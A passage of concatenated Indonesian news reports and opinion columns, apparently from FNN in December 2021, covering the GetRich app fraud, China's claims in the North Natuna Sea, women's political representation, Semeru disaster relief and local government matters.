Malahan, maju sebagai capres masih punya peluang untuk jadi sepanjang Bu Mega bisa “merawat” basis-basis utama PDIP. Tentu ini maksudnya adalah “hubungan baik” dalam bentuk kesejahteraan simpul-simpul akar rumput Banteng. Pilpres 2024 adalah hidup-mati Puan Maharani. Itu juga artinya adalah hidup-mati Bu Mega. Beliau harus “gaspol”. Now or never. Kalau Bu Mega betul-betul sayang sama Puan, inilah saatnya berhabis-habis. Tak ada pilihan lain. Setelah 2024, jangankan Puan, PDIP pun bisa lenyap dari bentuknya yang ada saat ini. *) Wartawan senior FNN

Yang Kaya Makin Kaya, Yang Miskin Makin Miskin

Oleh Ridwan Saidi *) Penyanyi dangdut Titing Jenny memulai karir 1966, tahun lahirnya Orde Baru. Titing beken sebagai penyanyi dangdut, selain Elvy Sukaesih. Kalau Rhoma Irama Raja Dangdut. Foto atas Rhoma Irama, kanan dan Ridwan Saidi, kiri. Wilayah pengaruh Rhoma seluruh penggemar dangdut di Dalam Negeri dan Luar Negeri. Sebelum genre penyanyi di atas, ada bintang musik Melayu yang beken pada 1950-an bernama Munif Bahaswan. Pada tanggal 8/12/2021 Munif wafat. Saya berduka. Zaman Menteri Penerangan Mashuri lagu Rhoma Rupiah dilarang siar di TVRI dan RRI. Ketika Golkar membentuk artis Safari, Rhoma tak mau ikut, dan menurut Rhoma, penyanyi pop Vivi Sumanti juga tidak. Tanggal 15 Maret 1982 kampanye perdana PPP di lapangan Banteng diperkuat kehadiran Rhoma dan Soneta Grup. Pengunjung tumpah ruah, yang menurut harian Kompas 19/3/82, ada 500.000 orang. Di depan massa dalam pidato kampanye saya keluarkan yel yel: Yang kaya makin kaya Yang miskin makin miskin Diikuti ratusan ribu pengunjung yang nyaris histeris. Beberapa hari kemudian Rhoma kontak aku menyatakan tertarik dengan yel yang aku bawakan di Banteng, Rhoma ingin angkat itu menjadi lirik lagu. Tafadhal, Ji. Kataku menyilahkan. Tak lama lagu dangdut Yang Kaya Makin Kaya beredar dan masyarakat menyambut, tapi rezim Orba tak suka. Itu dulu. Kalau sekarang mungkin lirik yang asyik: Yang penting bisa kaya Paling juga dipenjara. (Kecil). Pada zaman Revolusi Fisik juga ada lagu yang dilarang. Bukan oleh pemerintah RI, tetapi oleh kaum ibu. Lagu ini biasa dinyanyikan anak tanggung beramai-ramai sambil jalan santai. Kalau pas ada ibu lagi pegang ember berisi air kami pasti diguyur. Lirik lagunya: "Potong-potong roti Roti campur mentega Belanda ude pergi Ninggalin janda-janda." Daag mevrouw. *) Budayawan

Aplikasi GetRich Bobol Miliaran Dana Member

Jakarta, FNN - Aplikasi (APK) Getrich Indonesia kini digugat oleh para membernya yang telah menjadi korban penipuan perusahaan bisnis ecommerce berbasis aplikasi. Mereka yang tertipu berencana melaporkan kasus penipuan itu ke Siber Polda Metro Jaya. Melansir keterangan salah satu member yang menjadi korban, dijelaskan bahwa Aplikasi GetRich menyatakan sebagai Platform E Commerce adalah model bisnis terbaru dalam menghasilkan uang. Kegiatan seluruh member disebut sebagai karyawan dan saat bergabung diwajibkan untuk menyetorkan dana yang besarnya sesuai Level VIP yang akan dipilih. Level VIP I deposit sebesar Rp. 550.000, VIP2 Rp. 1.800.000, VIP3 Rp. 9.000.000, VIP4 Rp.18.000.000, VIP5 Rp. 26.000.000, VIP6 Rp. 49.500.000, VIP7 Rp. 117.000.000. "Saat ini anggota karyawan GetRich sudah mencapai 6.600 member lebih dan bisa dibayangkan dana yang masuk dan dibawa lari mencapai puluhan miliar," terang Hery salah satu korban GetRich. Sedangkan GetRich Indonesia dikelola oleh Cindy selaku Senior Manager, Anni dan Maria yang menjabat sebagai administrator. Ketiganya segera dilapokan ke Polda Metro Jaya untuk mempertanggungjawabkan perbuatannya. Hery mengatakan dia bersama kedua rekannya Denny Krisna dan Ibrohim bergabung dengan GetRich sejak September 2021 dan telah merekrut bawahan mulai dari level VIP I hingga VIP6 dan masing-masing telah menyetorkan dana deposit sebesar Rp 600 ribu sampai Rp. 50 juta mengikuti semua aturan main yang ditetapkan GetRich. Kemudian, kata Hery pada pertengahan November 2021 bawahan yang sudah berjumlah 150-200 orang mulai aktif menjadi karyawan GetRich dan proses penarikan gaji dari perusahaan masih bisa dilakukan. Barulah setelah pertengahan November 2021 hampir seluruh anggota tidak bisa menarik dana mereka yang seharusnya dikeluarkan oleh pihak GetRich. "Setiap ada penarikan GetRich menerapkan aturan baru seolah mempersulit seperti kewajiban merekrut anggota baru. Aturan ini tidak pernah ada sebelumnya dalam peraturan GetRich. Banyak aturan baru yang terus ditetapkan pada saat member ingin menarik dana mereka," ujarnya. Lanjut Hery, salah satunya yang terakhir, pihak GetRich menerapkan aturan pembayaran saluran hijauan yang diistilahkan oleh mereka sebagai pajak agar para member bisa menarik dana mereka. Bahkan aturan baru terus diterapkan yang semula tidak ada dan terjadi ketika para member ingin menarik dana mereka. "Karyawan dibayar dengan dana deposit mereka sendiri, ini penipuan karena terakhir, administrator yang bernama Maria mengumumkan perusahaan GetRich ditutup. Lantas kemana dana-dana para member. Kami akan bawa masalah ini ke Unit Siber Polda Metro Jaya,"tegasnya. Hery mengestimasi jumlah member yang menjadi korban ada ribuan. Jika dihitung jumlah kerugian yang diderita 6.600 member maka nilainya bisa mencapai puluhan miliar. "Tidak ada itikad baik dari pihak GetRich untuk mengembalikan dana member malahan mereka mengumumkan menutup perusahaan sepihak dan administrator malah menawarkan platform aplikasi baru tanpa merasa bersalah dan tidak bertanggungjawab,"tukasnya. Infromasi penutupan GetRich, kata Hery disampaikan oleh Maria sebagai administrator melalui Group WhatsApp hanya berselang beberapa jam setelah dia mengumumkan pembayaran saluran hijau dan ancaman adanya tindakan yang akan menghanguskan saldo akun bagi mereka yang tidak membayar. "Halo Sobat, sekarang saya ingin memberi tahu Anda kabar buruk bahwa GR ditutup dan orang yang bertanggungjawab telah pergi. Saya juga korban GR," tulis Maria pada Sabtu (19/12/21) pukul 19.03 WIB. Selain mengumumkan penutupan GetRich, Maria juga mengajak member untuk bergabung dengan perusahaan serupa dengan platform yang berbeda dengan gaya seperti yang dijalankan oleh GetRich sebelumnya. Maria sendiri setelah dikonfirmasi melalui nomor WhatsApp pribadinya menyatakan bahwa dia tidak tahu menahu dan hanya menjadi korban. "Saya tidak bekerja di GR lagi, jangan membahas masalah GR. Saya tidak tahu, saya sama seperti anda, juga diperkenalkan oleh seorang teman dan sekarang saya tidak tahu bagaimana melakukannya. Saya juga korban, tidak ada yang menanggung kerugian saya. Sekarang saya hanya bisa memikirkan cara menghasilkan uang sendiri," tulis Maria pada Sabtu (11/12) melalui pesan singkatnya saat dikonfirmasi untuk mempertanggungjawabkan masalah dana member yang masih ada di GetRich dan belum dibayarkan dan penutupan aplikasi sepihak. Hingga berita ini diturunkan, redaksi FNN masih terus mengkonfirmasi Cindy yang ditengarai juga menjabat sebagai salahsatu Direktur GE Indonesia. (bunayya saifuddin) 121121.

Tegakkan Kedaulatan NKRI di Laut Natuna Utara!

Oleh Marwan Batubara (IRESS, Deklarator KAMI) Pada awal Desember 2021 rakyat tersentak berita Reuters perihal protes dan permintaan China agar Indonesia menghentikan eksplorasi migas di Laut Natuna Utara, LNU (1/12/2021). Reuters mengungkap pula protes China atas latihan perang bersama TNI-AD dan milter Amerika Serikat (AS), bertajuk Garuda Shield XV, yang digelar 1-14 Agustus 2021. Karena nota diplomatik tertutup, kita tidak paham bagaimana reaksi pemerintah atas protes China ini. China memprotes Indonesia mengeksplorasi migas di LNU (oleh kontraktor Premier Oil) karena China mengklaim LNU masuk wilayah Laut China Selatan (LCS). Klaim sepihak ini didasarkan pada penetapan garis batas LCS berupa “sembilan garis putus-putus”, yang menyatakan lapangan Migas Tuna di LNU masuk teritori China. Sedangkan “sembilan garis putus-putus” ditetapkan atas dasar wilayah laut tersebut merupakan “traditional fishing ground” bagi nelayan China. Jika dibiarkan, klaim sepihak China ini akan mencaplok sekitar 83.000 km2 wilayah yurisdiksi Indonesia (30% luas perairan Natuna), termasuk Blok migas Natuna Timur (NT) yang menyimpan sekitar 46 triliun cubic feet (TCF) gas. Beberapa narasumber Reuters menyebutkan bahwa protes China telah terjadi beberapa kali sejak awal tahun 2021. Jika belakangan protes China atas latihan militer TNI-AD dengan militer AS juga terungkap, maka artinya protes tersebut juga terjadi sebelumnya, yakni sekitar bulan Agustus/September 2021, berdekatan dengan saat latihan bersama digelar. Kedua protes China ini, yang terjadi sejak awal 2021 hingga Agustus/September 2021, perlu kita rangkai dan analisis dengan insiden “kapal riset” China yang terjadi bulan-bulan berikutnya. Pada bulan September-Oktober 2021, terjadi insiden masuknya kapal riset Hai Yang Di Zhi 10, dikawal oleh Kapal Coast Guard Cina dengan nomor lambung CCG 4303 dan 4 kapal perang ke wilayah LNU. Tujuan utama kapal-kapal China ini melakukan survei laut, guna pemetaan potensi migas di wilayah LNU. Secara provokatif kegiatan ini, tepatnya terjadi sejak 30/8/2021 hingga 20/10/2021, dikawal oleh kapal-kapal penajaga pantai dan perang. Aktivitas riset kapal China di ZEE (Zone Ekonomi Ekslusif) Indonesia ini jelas *ilegal* karena dilakukan tanpa izin. China telah melanggar kedaulatan RI sesuai Pasal 56 ayat 1, 240, 244 dan 246 UNCLOS (United Nations Convention on the Law of the Sea, Konvensi PBB tentang Hukum Laut) Tahun 1982. China juga telah melanggar Pasal 7 UU No.5/1983 tentang ZEEI, yang mengatur tentang kegiatan penelitian ilmiah di ZEE. Kegiatan China ini juga berpangkal pada klaim sepihak yang menyatakan wilayah LNU sebagai teritori China. Merujuk ke belakang, sebenarnya klaim sepihak enam garis putus-putus telah dibatalkan putusan arbitrase internasional saat Indonesia menggugat masuknya kapal China ke wilayah LNU pada 2016. Itu sebabnya, saat kapal nelayan dan Coast Guard China memasuki LNU pada 19-24 Desemeber 2019 lalu, Indonesia menyatakan tidak akan pernah mengakui klaim “sembilan garis putus-putus” dan tidak ada negosiasi dengan China. Bahkan Presiden Jokowi menegaskan tak ada kompromi dalam mempertahankan kedaulatan (4/1/2020). Namun, pada insiden terakhir, Agustus-Oktober 2021, masuknya kapal survei bersama 4 kapal perang China ke wilayah LNU, Pemerintah RI gagal bersikap terhormat dan berdaulat. Reaksi maksimal hanya muncul dari Menko Marves Luhut B. Panjaitan (LBP). Kata LBP (saat berkunjung ke Catholic University, AS): “Semua dokumen, semua hukum internasional telah tersedia – kami hanya menghormatinya. Kami berdiskusi dengan mitra kontak kami di China, kami setuju untuk tidak setuju di beberapa area, tetapi saya pikir kami mampu mengelola sejauh ini. Kami tidak merasa memiliki masalah dengan China” (11/10/2021). Jika dihubungkan dengan protes-protes China yang terekspos awal Desember 2021, maka kegiatan kapal survei China ini memperlihatkan adanya eskalasi arogansi. Sesuai waktu insiden, *pertama* China memprotes latihan perang RI-AS, yang digelar di Baturaja (Sumsel), Amborawan (Kaltim), dan Makalisung (Sulut). *Kedua*, Cina memprotes eksplorasi lapangan Migas Tuna, LNU dalam ZEE Indonesia. *Kedua* protes ini ini merupakan intervensi dan arogansi terhadap NKRI, yang diekspresikan dalam bentuk nota diplomatik. Namun, pada insiden *ketiga*, dengan mengirim kapal survei yang dikawal kapal perang, jelas China telah memperlihatkan peningkatan level ekspresi sikap, dari nota diplomatik menjadi tindakan nyata di lapangan. Hal ini menunjukkan bahwa China merasa mampu mempengaruhi dan mengendalikan Indonesia, atau bisa pula dinilai bahwa sejumlah pemimpin Indonesia berada di bawah kendali China. Sehingga China merasa leluasa dan tidak khawatir mendapat reaksi atau perlawanan guna menjalankan agenda-agenda ekspansifnya. Harap dicatat, pada insiden survei laut, China datang dengan 4 kapal perang. Survei dilakukan bukan hanya ukuran “hari”, tetapi lebih dari sebulan! Kegiatan berlangsung di depan mata dengan leluasa di wilayah kedaulatan NKRI. Di sisi lain, sikap Pemerintah RI justru tidak jelas. Tak ada sepatah kata pun muncul dari Presiden Jokowi. Reaksi maksimum hanya datang dari Menko LBP, pernyataan saling tahu-menahu, saling menghormati. Apalagi kalau rakyat berharap ada protes keras atau mengirim kapal perang guna mengusir kapal China. No way! Kegiatan eksplorasi dan eksploitasi SDA migas umumnya dimulai dengan “desk study” dan survei lokasi. Kegiatan ini akan berlanjut ke tahap eksplorasi. Jika China telah memulai dengan survei laut di LNU, maka langkah logis berikut adalah eksplorasi, pemboran migas di wilayah LNU. Saat China mensurvei LNU, Menko LBP hanya bersikap saling menghormati dan Presiden Jokowi diam, tanpa sedikitpun menunjukkan kedaulatan NKRI. Jika kelak China melakukan eksplorasi, apakah Indonesia siap dan mampu bertindak untuk menggagalkan? Jangan-jangan, seperti kata LBP, pemerintah masih menghormat, atau malah takut protes! Faktanya Indonesia telah tersandera berbagai program investasi dan utang pada China. Sejumlah oknum pejabat terkesan “bersandiwara”, memilih bersikap “wise” guna menjaga hubungan dengan “mitra datang”. Tapi, mungkin pula ada penyusup jadi agen dan pengkhianat yang mempengaruhi kebijakan pemerintah guna memuluskan agenda ekspansif China. Kekuatan perang pun sangat terbatas. Jika demikian, jatuhnya blok-blok migas, terutama Natuna Timur yang bernilai ekonomis sekitar Rp 6.000 triliun (diuraikan pada tulisan IRESS 29/10/2021) hanya tinggal menunggu waktu. Dipahami, sengketa perbatasan jarang mengganggu hubungan baik atau menimbulkan perang. Umumnya hal itu terjadi jika masing-masing negara punya dignity dan berdaulat penuh. Namun, jika hubungan bernuansa timpang, atau layaknya “subordinate” yang tak berdaya dan tersandera di hadapan “master”, maka memang perang tidak terjadi, tapi kedaulatan akan terlecehkan dan sebagian wilayah pun dicaplok negara bernafsu ekspansif. Sengketa LNU telah diputus lembaga PBB, namun China tetap menolak China dengan arogannya. Ekspresi arogansi menunjukkan tren meningkat. Sebaliknya, sikap pemerintah tak jelas dan menunjukkan tren melemah. Jangankan mengirim armada maritim guna mengusir kapal survei China, hanya untuk melawan protes China saat Premier Oil mengeksplorasi lapangan Tuna saja, terkesan pemerintah hanya melawan via “pinjam” tangan Anggota DPR. Sebelum terlambat, kita menuntut Pemerintah Jokowi bersikap tegas, independen dan berdaulat. Presiden Jokowi harus bersuara memenuhi aspirasi MAYORITAS rakyat Indonesia, bukan segelintir orang, apalagi China. Kebijakan NKRI di LNU bukan untuk dikompromikan atau bahkan didikte China atas alasan apapun, termasuk atas alasan investasi, dukungan utang, mitra dagang, dll. DPR harus segera memanggil pemerintah untuk membuka isi nota protes dan jawaban pemerintah atas protes China selama 2021. Kapan DPR dan Presiden Jokowi siap tegakkan kedaulatan NKRI melawan arogansi China? (sws)

Dinamika Gerakan Politik Perempuan Indonesia

Jakarta, FNN - Berdasarkan rekaman sejarah Tanah Air, kesadaran tentang pentingnya peran perempuan dalam kancah gerakan politik salah satunya muncul melalui keberadaan Kaukus Perempuan Politik Indonesia (KPPI). KPPI yang didirikan pada 17 Agustus 2000 merupakan wadah perjuangan perempuan lintas partai politik dan para aktivis perempuan dari beragam organisasi masyarakat sipil. Mereka bersinergi mendorong peningkatan keterwakilan para perempuan Indonesia di lembaga-lembaga pengambil keputusan, baik dalam ranah legislatif maupun eksekutif, bahkan lembaga strategis lainnya. Aktivis perempuan yang juga merupakan salah satu pendiri KPPI, yaitu Miranty Abidin saat menjadi pemateri dalam webinar nasional Koalisi Perempuan Indonesia bertajuk “Refleksi 20 Tahun Gerakan Politik Perempuan” dipantau dari Jakarta, Sabtu (11/12), mengatakan salah satu langkah yang diambil pihaknya untuk mendorong keterwakilan perempuan dalam politik di Indonesia adalah pembuatan Undang-Undang (UU) Nomor 12 Tahun 2003 tentang Pemilihan Umum. Dalam pembuatan undang-undang tersebut, KPPI melewati perjalanan yang cukup berat untuk mendorong kuota keterwakilan perempuan dapat mencapai 30 persen. Perjalanan itu tidak mudah, ujar Miranty Abidin, karena politik di Indonesia cenderung bersifat "sangat maskulin". Dengan demikian, lanjut dia, perempuan mengalami kesulitan untuk mendapatkan ruang di kancah politik. Untuk mengatasi hal tersebut, KPPI pun membuktikan langsung kualitas dan semangat dari para perempuan demi memperjuangkan kesempatan mereka bergabung di kancah politik. Dalam proses pembuatan Undang-Undang Pemilu, KPPI juga bekerja sama dengan organisasi perempuan Iainnya untuk mengajak para anggota legislatif agar menyetujui Pasal 65 ayat (1) UU Nomor 12 Tahun 2003 bahwa partai politik diharapkan menominasikan perempuan minimal 30 persen sebagai calon anggota Iegislatif. Sesudah UU tersebut disahkan, para anggota KPPI, baik secara pribadi maupun kolektif, terus memengaruhi berbagai kelompok kepentingan, khususnya partai politik agar senantiasa menerapkan kebijakan keterwakilan perempuan minimal 30 persen. Dinamika perjuangan perempuan di kancah politik Sampai hari ini, seperti yang diamati oleh Koalisi Perempuan Indonesia, dua dasawarsa telah berlalu dengan segala dinamika pasang surut perjuangan politik perempuan yang diperjuangkan oleh KPPI. Refleksi terhadap perjalanan tersebut pun mengangkat sejumlah tantangan-tantangan yang dihadapi oleh KPPI ke permukaan, mulai dari kesetaraan gender yang belum terimplementasikan sepenuhnya hingga yang menjadi sorotan utama, yakni 30 persen keterwakilan perempuan di bidang legislatif yang dinilai masih sulit untuk terpenuhi. Hal senada diungkapkan pula oleh Miranty Abidin. Menurutnya, kesempatan yang diberikan undang-undang bagi keterwakilan perempuan sebanyak 30 persen itu sebenarnya hanya menjadi titik awal. Setelahnya, gerakan para perempuan di dunia politik memang akan menghadapi berbagai tantangan. Setelah para perempuan bergabung di ranah politik Tanah Air, mereka akan menghadapi perjuangan sebenarnya. Perjuangan itu di antaranya adalah mendukung dan mengatasi berbagai persoalan yang dihadapi oleh perempuan Indonesia. Contohnya, perjuangan para perempuan di dunia politik, khususnya legislatif, tetap harus dilanjutkan dengan memetakan masalah-masalah yang dihadapi perempuan dari masa ke masa beserta dukungan dan solusi yang ditawarkan. Lalu, pemetaan tersebut perlu dituangkan ke dalam undang-undang. Di samping itu, Pakar Ilmu Politik Universitas Indonesia Ani Soetjipto menilai perjalanan dinamika politik perempuan di Indonesia pada saat ini memang terasa semakin senyap. Dibandingkan pada masa awal kelahiran KPPI, dinamika politik para perempuan di masa lalu jauh terasa lebih bergairah daripada sekarang. Kemudian, Ani Soetjipto yang juga merupakan inisiator pembentuk KPPI menjelaskan bahwa dibangunnya organisasi tersebut sebetulnya bercita-cita untuk membuka akses seluas-luasnya bagi para perempuan Indonesia, terutama mereka yang telah bergabung ke dalam partai politik untuk dipromosikan sebagai calon legislatif. Setelah itu, mereka juga dididik dengan pendidikan politik yang baik. Langkah-langkah tersebut, ditujukan agar para perempuan Indonesia yang bergabung ke dalam dunia politik mampu menjadi aktivis yang tangguh. Mereka menjadi sosok yang tangguh dengan perspektif keberpihakan kepada isu strategis tentang perempuan, terutama bagi kalangan yang termajinalkan. Atasi perjuangan semakin senyap Ani Soetjipto mengamati bahwa salah satu faktor penyebab semakin senyapnya peran perempuan dalam dunia politik Indonesia adalah ruang gerak mereka di kancah politik yang menjadi semakin sempit pada saat ini. Sempitnya ruang gerak itu diakibatkan oleh perubahan peta politik yang menjadi lebih tertutup. Dengan demikian, kata dia, organisasi masyarakat sipil pun menjadi dilemahkan pengaruhnya. Lalu, peran partai politik menjadi tumpul dalam mengontrol dan menjaga keseimbangan kekuatan eksekutif. Bahkan, kata Ani Soetjipto, para perempuan yang merupakan aktivis dan tergabung dalam partai politik cenderung terpengaruh pula pada perubahan peta politik tersebut. Akibatnya, suara-suara rakyat yang kritis pun menjadi semakin lemah untuk didengarkan. Hal-hal yang dipaparkan Ani Soetjipto di atas dapat dipahami sebagai wujud nyata tantangan dinamika politik para perempuan di Indonesia pada saat ini, bahkan ke depannya. Untuk mengatasinya, dia mengimbau seluruh perempuan di Indonesia, terutama para aktivis perempuan dan anggota perempuan partai politik dapat bersinergi dalam menyelesaikan perubahan-perubahan peta politik yang ada. Kaukus Perempuan Politik Indonesia (KPPI) pun dapat menjadi wadah yang mampu menampung seluruh keinginan baik para perempuan untuk memenuhi keterwakilan kaumnya di ranah politik, lalu memperjuangkan hak-hak perempuan di Indonesia, bahkan menjangkau dukungan-dukungan terhadap persoalan yang dihadapi masyarakat secara luas. Ketua Subkomisi Divisi Pendidikan Komnas Perempuan periode 2015-2019 Masruchah pun menegaskan sejatinya kehadiran KPPI merupakan pintu masuk bagi keterwakilan perempuan di lembaga-lembaga strategis negara yang memiliki mimpi mulia menghadirkan keadilan yang substantif bagi perempuan, bahkan rakyat Indonesia. Namun tentunya, pintu masuk yang tersedia itu akan lebih berarti dan berdaya guna apabila para perempuan Indonesia menyadari pentingnya peran mereka, tidak hanya peran untuk memperjuangkan hak sesama perempuan, tetapi juga seluruh rakyat Indonesia. (sws)

Dukcapil Terbitkan 960 Dokumen Pengganti Bagi korban APG Semeru

Jakarta, FNN - Tim Dukcapil peduli bencana awan panas guguran (APG) Gunung Semeru (3676 mdpl) dalam dua hari terakhir telah menerbitkan sebanyak 960 dokumen pengganti untuk warga yang menjadi korban bencana. Dirjen Dukcapil Zudan Arif Fakrulloh dalam keterangannya diterima di Jakarta Sabtu, mengatakan bahwa dirinya telah memberangkatkan tim untuk melakukan pelayanan jemput bola pencetakan dokumen kependudukan pengganti bagi korban bencana. "Terkait bencana kita harus selalu proaktif terutama sekarang bencana erupsi Gunung Semeru di Kabupaten Lumajang. Tolong tim yang sudah dibentuk untuk segera koordinasi dengan dinas dukcapil setempat. Lakukan layanan penggantian dokumen yang rusak akibat bencana tanpa diminta penduduk," ucap dia. Tim dukcapil telah memberikan layanan berupa perekaman KTP elektronik kepada dua penduduk, mencetak KTP elektronik sebanyak 22 keping, pencetakan KK pengganti yang rusak akibat erupsi sebanyak 822 lembar. Tim juga melakukan pencetakan akta kelahiran sebanyak 84 lembar dan pencetakan kartu identitas anak (KIA) sebanyak 30 keping. Atau, total seluruhnya yang telah diterbitkan tim dukcapil yakni sebanyak 960 dokumen kependudukan. Kemudian, tim dukcapil juga menerbitkan akta kematian bagi korban meninggal yang saat ini berada di RSUD dr Haryoto, dan RS Bhayangkara Tirta Yatra, Lumajang. Tim Dukcapil masih akan terus bekerja di daerah bencana hingga Selasa 14 Desember 2021. Bila masih diperlukan, Ditjen Dukcapil akan menerjunkan petugas berikutnya hingga keadaan kembali kondusif. Tim Dukcapil itu bergerak cepat membuka posko layanan pencetakan dokumen kependudukan bagi korban korban APG Gunung Semeru, di Balai Desa Sumberwuluh dan Balai Desa Penanggal sejak Kamis 9 Desember 2021 mulai pukul 09.30 WIB. (sws)

Gus Muhaimin: Peran Wartawan Parlemen Sangat Penting Angkat Citra DPR

Jakarta, FNN - Wakil Ketua DPR RI Bidang Korkesra Abdul Muhaimin Iskandar menyebutkan peran wartawan parlemen sangat penting dalam mengangkat citra DPR. Gus Muhaimin dalam keterangannya di Jakarta, Sabtu, menjelaskan bahwa DPR RI membutuhkan dukungan wartawan dalam melakukan refleksi dan evaluasi terhadap kinerja, citra, dan tingkat kepercayaan publik. Terlebih, kata dia, mereka adalah salah satu pilar demokrasi yang memiliki peran sentral dalam menyampaikan informasi yang dilakukan oleh DPR. "Tentunya kami memerlukan dukungan rekan-rekan wartawan sebagai pilar demokrasi untuk menyebarkan berbagai informasi dan kegiatan-kegiatan parlemen. Sekaligus membantu masyarakat memantau kinerja DPR RI yang merupakan sumbangsih untuk membuat Indonesia ke depan makin baik," kata Gus Muhaimin. Sebagai lembaga legislatif yang menjadi representasi rakyat Indonesia, DPR RI tidak pernah luput dari terpaan isu negatif. Gus Muhaimin Iskandar menyatakan meningkatkan kinerja, citra, dan tingkat kepercayaan publik terhadap DPR merupakan hal yang tidak mudah dan tidak dapat dilakukan hanya dalam waktu yang sangat singkat. "Tentu saja meningkatkan kinerja dan juga citra DPR RI ini tidak mudah. Perlu refleksi dan evaluasi atas kinerja yang telah dilakukan serta dampaknya kepada masyarakat perlu dilakukan DPR RI," katanya. Menurut dia, peran media dalam menyampaikan informasi melalui pemberitaan, baik yang bersifat cetak, siaran televisi, radio, maupun media sosial, yang dikelola secara profesional, akan mampu mendukung DPR RI ke depannya dalam melakukan refleksi dan evaluasi terhadap kinerja, citra, dan tingkat kepercayaan publik terhadap lembaga. "Saya tidak tahu apakah lembaga surveinya yang keliru atau DPR-nya keliru, hasil survei tingkat kepercayaan publik kepada DPR selalu rendah," ucapnya. Padahal, kerja-kerja DPR selama ini, menurut dia, cukup baik, bahkan saat kantor pemerintahan banyak bekerja dari rumah WFH, DPR tidak bisa WFH total, harus tetap ada yang bekerja di kantor. "Ini jadi bukti betapa kita serius selama ini," kata Gus Muhaimin. Sementara itu Wakil Ketua Badan Urusan Rumah Tangga (BURT) DPR RI Achmad Dimyati Natakusumah mendorong wartawan parlemen untuk menginformasikan seluruh kegiatan DPR RI dengan narasi yang baik. "Wartawan parlemen harus bagus menginformasikan setiap kegiatan DPR. Mau kritik DPR, ya, boleh saja diberitakan, tetapi kritik yang membangun. Jadi, angkat harkat dan martabat DPR," kata Dimyati. Ia mendorong wartawan parlemen mengedepankan pengetahuan atau transfer of krowledge dalam setiap pemberitaan terkait dengan DPR RI. Di sisi lain, Dimyati juga meminta mereka untuk lebih kreatif dalam menyajikan setiap pemberitaan DPR RI. "Coba buat yang lucu-lucu juga, seperti Pak Aria Bima (Wakil Ketua Komisi VI DPR RI) ini banyak kartunnya bagus. Jadi, tidak hanya melulu pemberitaan, tetapi juga yang kreatif buat daya tarik supaya parlemen ini terangkat, masyarakat jadi suka ke DPR," ujarnya. (sws)

Pemberhentian Perangkat Nagari Secara Sepihak Marak Terjadi di Sumbar

Padang, FNN - Kasus pemberhentian perangkat nagari atau desa secara sepihak oleh wali nagari marak terjadi di Sumatera Barat dan berdasarkan data yang dihimpun sudah lebih 10 kasus yang dilaporkan ke Ombudsman perwakilan Sumbar. "Secara aturan wali nagari boleh memberhentikan perangkat nagari namun harus mekanisme yang ada, bukan sepihak dan secara tiba-tiba," kata Asisten Ombudsman RI perwakilan Sumbar, Meilisa Fitri Harahap di Padang, Sabtu. Menurut dia untuk memberhentikan perangkat nagari ada mekanisme mulai dari surat peringatan pertama, surat peringatan kedua, pemberhentian sementara hingga pada akhirnya diberhentikan. "Akan tetapi dari kasus yang dilaporkan tanpa ada SP1 dan SP2 perangkat nagari sudah diberhentikan saja secara mendadak oleh wali nagari," ujarnya. Padahal dalam pemberhentian perangkat nagari juga harus ada rekomendasi camat dan yang terjadi adalah ada yang tanpa rekomendasi camat. Ia menjelaskan biasanya di daerah ada aturan bupati soal mekanisme pengangkatan dan pemberhentian perangkat nagari. Meilisa mengemukakan maraknya pemberhentian perangkat nagari ini dipicu oleh proses pemilihan wali nagari langsung dan ternyata yang terpilih tidak didukung oleh perangkat nagari. Bahkan ada salah seorang wali nagari berterus terang dari semua perangkat nagari yang ada di kantornya sedikit sekali yang mendukung dia saat pemilihan dan sekarang menjadi anak buahnya. "Tentu saja jika wali nagari tersebut memiliki mindset yang baik akan merangkul dan bersinergi, tapi bagi yang tidak suka akan langsung memberhentikan," kata dia. Ia menemukan kendati ada yang beralasan karena kinerja perangkat nagari buruk tetap saja wali nagari tidak bisa langsung memberhentikan karena harus ada peringatan pertama, kedua hingga rekomendasi camat. Ia melihat setelah jika fenomena ini terus dibiarkan wali nagari bisa menjadi raja-raja kecil. "Wali nagari berhak memberhentikan perangkat nagari tapi dengan alasan yang jelas dan sesuai ketentuan," ujarnya. Tidak hanya itu ada juga perangkat nagari yang banding sampai ke PTUN karena pemberhentian sepihak dan ternyata menang. "Artinya wali nagari harus memulihkan kembali nama baiknya," katanya. (sws)

Pimpinan DPRD Surabaya Minta Musbangkel Tidak Sekedar Formalitas

Surabaya, FNN - Pimpinan DPRD Kota Surabaya meminta musyawarah pembangunan kelurahan (Musbangkel) tidak sekedar formalitas saja melainkan ada wujud kongkrit pembangunan partisipatif yang bisa dirasakan masyarakat. Wakil Ketua DPRD Surabaya Reni Astuti di Surabaya, Sabtu mengatakan pembangunan partisipatif yang dimaksud adalah pembangunan yang menyerap dan menampung seluruh aspirasi dari suara-suara warga. "Jangan di-PHP (pemberi harapan palsu) terus usulan warga, jadi wajib direalisasi," kata Reni Astuti. Reni menekankan, agar Musbangkel dari waktu ke waktu harus lebih baik dan mendorong Pemkot melalui Badan Perencanaan Pembangunan Kota (Bappeko) Surabaya dalam rangka mewujudkan pembangunan partisipatif. Politikus perempuan PKS ini menyampaikan, saran dan pandangan mengenai usulan-usulan yang belum terlaksana dan mendorong masyarakat untuk memanfaatkan sebaik-baiknya kesempatan Musbangkel tersebut. "Ini juga saya sampaikan pada saat memantau Musbangkel di Kantor Kelurahan/Kecamatan Sukomanunggal, Kamis (9/12) kemarin," ujarnya. Terkait usulan tahun lalu yang sudah disetujui, lanjut Reni, perlu disampaikan progresnya kapan direalisasi di tahun 2022 dan jika belum realisasi beri alasannya dengan jelas kenapa tidak realisasi. "Kita ketahui juga bahwa Perwali 45 mengatur tentang usulan yang masuk ke dana kelurahan, namun poinnya adalah usulan warga itu sendiri tidak boleh sampai dibatasi. Jika tidak bisa masuk dana kelurahan bisa dimasukkan di program dinas terkait," katanya. Ia berharap agar realisasi Musbangkel bisa sesuai dengan harapan dan dapat memberdayakan masyarakat sesuai potensi di wilayahnya guna meningkatkan aktivitas ekonomi warga. "Prinsipnya Musbangkel menekankan pada pemberdayaan masyarakat dan pembangunan sarana prasarana di lingkungan kelurahan," katanya. Selain itu, Reni juga menegaskan bahwa di tahun 2022 telah dianggarkan untuk direalisasi bagi setiap semua RW berbagai realisasi seperti komputer, printer, LCD. Untuk PAUD berupa laptop atau komputer serta pengadaan tenda bagi RW. "Terima kasih partisipasi aktif ketua LPMK, pihak kecamatan dan kelurahan, serta para ketua RW, ibu-ibu PKK, karang taruna maupun BKM. Mari tingkatkan pelayanan terbaik untuk warga. Semoga pandemi segera usai dan pembangunan kota terus maju," kata Reni. Adapun pada forum Musbangkel di Kelurahan 